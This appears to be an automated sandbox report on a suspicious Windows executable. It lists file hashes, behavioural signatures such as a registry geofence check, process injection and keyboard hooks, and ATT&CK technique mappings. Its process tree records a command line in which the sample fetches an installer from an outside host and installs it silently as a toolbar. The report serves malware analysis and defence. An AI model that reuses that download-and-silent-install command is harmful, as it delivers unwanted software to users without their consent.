ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8

Analysis

max time kernel
136s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
12/10/2022, 17:52

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General

Target

ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8.exe
Size

449KB
MD5

6d1cf8f51e93570d7ce620a5a49497ba
SHA1

0efae80d36506291abd33eb0c314697c0fd0629b
SHA256

ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8
SHA512

7e8d12d4a8646f3bb89141e330dd8d617011ddd0f46e1404b0dd68337eda07584aebb83fd8addbe5dc4775907fc4e9437ed4dc72905da6fd9f434f480d238508
SSDEEP

6144:ebheGnUYhPsK9OfBSfk+1OIWi+vQVFB9SnXyqAaWcl578TJ5kvj9Lgptj6:mheGnbsKEo1O0j4yqcclWT2

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3312	ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8.exe
3312	ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8.exe
3752	ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8.exe
3752	ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3312 wrote to memory of 3752	3312	ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8.exe	82
PID 3312 wrote to memory of 3752	3312	ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8.exe	82
PID 3312 wrote to memory of 3752	3312	ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8.exe	82

C:\Users\Admin\AppData\Local\Temp\ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8.exe
"C:\Users\Admin\AppData\Local\Temp\ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3312
- C:\Users\Admin\AppData\Local\Temp\ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8.exe
  "C:\Users\Admin\AppData\Local\Temp\ab1f585826fbd17b78d4dd7374fd64ae81a0d738ea380efd909a1a3ae43169c8.exe" /P"C:\Users\Admin\AppData\Local\Temp\WS_ABP_setup.exe" /U"http:\\fs2.softwaredownloadupdates.com\ou2\WS_ABP_setup.exe" /CToolbar Install /S /N
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3752

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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